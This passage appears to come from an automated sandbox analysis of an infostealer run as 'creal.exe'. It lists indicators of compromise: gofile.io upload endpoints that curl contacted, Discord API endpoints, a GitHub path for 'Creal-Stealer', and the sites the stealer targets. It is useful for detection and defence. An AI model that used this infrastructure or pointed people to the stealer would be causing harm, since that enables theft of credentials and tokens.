https://ebay.com)	0%	Avira URL Cloud	safe
https://roblox.com)z	0%	Avira URL Cloud	safe
https://paypal.com)z	0%	Avira URL Cloud	safe
https://hbo.com)z	0%	Avira URL Cloud	safe
https://telegram.com)z	0%	Avira URL Cloud	safe
https://pornhub.com)z	0%	Avira URL Cloud	safe
https://netflix.com)	0%	Avira URL Cloud	safe
https://gmail.com)	0%	Avira URL Cloud	safe
https://outlook.com)	0%	Avira URL Cloud	safe
https://setuptools.pypa.io/en/latest/0	0%	Avira URL Cloud	safe
https://github.com)	0%	Avira URL Cloud	safe
https://binance.com)	0%	Avira URL Cloud	safe
https://youtube.com)z	0%	Avira URL Cloud	safe
https://store4.gofile.io.uploadFile	0%	Avira URL Cloud	safe
https://spotify.com)	0%	Avira URL Cloud	safe
https://spotify.com)z	0%	Avira URL Cloud	safe
https://hotmail.com)z	0%	Avira URL Cloud	safe
https://yahoo.com)z	0%	Avira URL Cloud	safe
https://hbo.com)	0%	Avira URL Cloud	safe
https://twitter.com)	0%	Avira URL Cloud	safe
http://ocsp.di	0%	Avira URL Cloud	safe
https://steam.com)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
store4.gofile.io	31.14.70.245	true	false	high
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
api.ipify.org	104.26.13.205	true	false	high
geolocation-db.com	159.89.102.253	true	false	high
api.gofile.io	45.112.123.126	true	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.gofile.io/getServer	false	high
https://api.ipify.org/	false	high
https://store4.gofile.io/uploadFile	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://discord.gift/	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages	creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://coinbase.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tiktok.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ebay.com)z$	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.python.org/library/unittest.html	creal.exe, 00000002.00000003.1527458874.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1400199660.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1517379426.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1535040042.00000185BBD67000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1520179344.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBD50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	creal.exe, 00000002.00000002.1554436074.00000185B9850000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1548117141.00000185B9868000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508417882.00000185B9846000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1546008995.00000185B984A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1547899486.00000185B984F000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1548377923.00000185B986D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508816820.00000185B9868000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1551754192.00000185B986E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1554656745.00000185B986F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/LICENSE-2.0	creal.exe, 0000001A.00000003.1547927371.0000025EFD913000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 0000001A.00000003.1548158241.0000025EFD913000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/core-metadata/	creal.exe, 00000002.00000002.1565300516.00000185BC270000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	creal.exe, 00000002.00000003.1532043339.00000185BBB8F000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1516398623.00000185BBB87000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1528235232.00000185BBB88000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1530427715.00000185BBB8E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paypal.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pypa/packaging	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store4.gofile.io/uploadFileb)1	curl.exe, 0000000E.00000002.1496127332.0000021D976B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://refspecs.linuxfoundation.org/elf/gabi4	creal.exe, 00000002.00000002.1563972254.00000185BC060000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://gofile.io/d/qP6xXi)	creal.exe, 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpgr	creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xbox.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	creal.exe, 00000002.00000002.1572428331.00000185BD000000.00000004.00001000.00020000.00000000.sdmp	false		high
https://youtube.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://twitch.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc3610	creal.exe, 00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1535265611.00000185BBDD4000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1562299712.00000185BBDE8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1535358960.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1510991480.00000185BC7C5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1516736251.00000185BBDD3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458427026.00000185BC7C5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1549876890.00000185BBDE8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1541650873.00000185BC7C7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1517079062.00000185BC7C6000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/platformdirs/platformdirs	creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	creal.exe, 00000002.00000003.1526506609.00000185BC7B2000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1510991480.00000185BC7AA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1572428331.00000185BD000000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	creal.exe, 00000002.00000002.1568500285.00000185BC3E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	creal.exe, 00000002.00000002.1572428331.00000185BD000000.00000004.00001000.00020000.00000000.sdmp	false		high
https://crunchyroll.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gmail.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://paypal.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/avatars/r	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pypi.org/project/build/).	creal.exe, 00000002.00000002.1563972254.00000185BC060000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://coinbase.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	creal.exe, 00000002.00000002.1554436074.00000185B9850000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1548117141.00000185B9868000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508417882.00000185B9846000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1546008995.00000185B984A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1547899486.00000185B984F000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1548377923.00000185B986D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508816820.00000185B9868000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1551754192.00000185B986E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1554656745.00000185B986F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	creal.exe, 00000002.00000002.1555512813.00000185BB346000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1396487176.00000185BB775000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1518970587.00000185BB343000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1543769837.00000185BB346000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1516110716.00000185BB340000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ebay.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/	creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://roblox.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hbo.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://binance.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.gg/r	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://playstation.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	creal.exe, 00000002.00000003.1508070108.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1532809071.00000185BBF0E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1519132495.00000185BB856000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458778204.00000185BB83D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515123847.00000185BBF0C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store4.gofile.io/uploadFilestore4.gofile.ioh.dll	curl.exe, 0000000B.00000002.1480957168.0000024F21CB7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sellix.io)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pypa/setuptools/issues/417#issuecomment-392298401	creal.exe, 00000002.00000002.1558402785.00000185BB860000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store4.gofile.io/uploadFilecurl	curl.exe, 00000008.00000002.1468934003.000001F32FE20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1480957168.0000024F21CB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1496127332.0000021D976B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1499016491.0000018B7EC30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000014.00000002.1500645147.00000281E0100000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000002.1502681292.000002B6485A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	creal.exe, 00000002.00000002.1572428331.00000185BD000000.00000004.00001000.00020000.00000000.sdmp	false		high
https://discord.com/api/v6/guilds/	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://telegram.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google.com/mail	creal.exe, 00000002.00000003.1552936616.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1518240184.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458778204.00000185BB83D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1558249126.00000185BB844000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1531732077.00000185BB844000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514920740.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1531272524.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514358388.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jaraco/jaraco.functools/issues/5	creal.exe, 00000002.00000002.1563972254.00000185BC060000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1568700343.00000185BC4E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://pornhub.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.rfc-editor.org/info/rfc7253	creal.exe, 00000002.00000003.1457557096.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542135168.00000185BBED6000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508070108.00000185BBE9C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515797188.00000185BBEB3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1530994321.00000185BBED5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1527070599.00000185BBECB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store4.gofile.io/uploadFilene8	curl.exe, 0000000E.00000002.1496127332.0000021D976B7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	creal.exe, 00000002.00000003.1524890898.00000185BBC01000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507517761.00000185BBBF4000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1519492705.00000185BC7A3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1560136900.00000185BBC01000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1545831403.00000185BC7A5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515252925.00000185BBC00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	creal.exe, 00000002.00000003.1519492705.00000185BC7A3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setuptools.pypa.io/en/latest/0	creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.gofile.io/getServerr	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc7231#section-4.3.6)	creal.exe, 00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1541491191.00000185BBDBE000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544629580.00000185BBDC1000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1547684950.00000185BBDC5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1562015932.00000185BBDC6000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1553189638.00000185BBDC5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.gg/	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store4.gofile.io/up	cmd.exe, 00000012.00000002.1501092610.0000018C8ADDB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://netflix.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2920	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://gmail.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg0Gm	creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://store4.gofile.io/uploadFileaml	curl.exe, 0000000E.00000002.1496127332.0000021D976B7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg	creal.exe, 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://outlook.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store4.gofile.io.uploadFile	curl.exe, 00000011.00000002.1499016491.0000018B7EC38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000014.00000002.1500645147.00000281E010B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cacerts.digicert.co	creal.exe, 00000000.00000003.1372993869.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 0000001A.00000003.1543067956.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp	false		high
https://binance.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://youtube.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spotify.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spotify.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gofile.io/d/wXGekI)	creal.exe, 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.python.org/library/itertools.html#recipes	creal.exe, 00000002.00000002.1563972254.00000185BC060000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://yahoo.com)z	creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store4.gofile.io/uploadFileEDRIVEf	cmd.exe, 0000000F.00000002.1499472199.0000026027FE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/users/	creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steam.com)	creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca	creal.exe, 00000002.00000002.1563972254.00000185BC060000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/declaring-project-metadata/	creal.exe, 00000002.00000003.1519286363.00000185BB3CD000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1509176230.00000185BB3CC000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1549208179.00000185BB3D5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1533572594.00000185BB3D2000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1524442141.00000185BB3CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/setuptools/issues/1024.	creal.exe, 00000002.00000002.1563707554.00000185BBF60000.00000004.00001000.00020000.00000000.sdmp	false		high
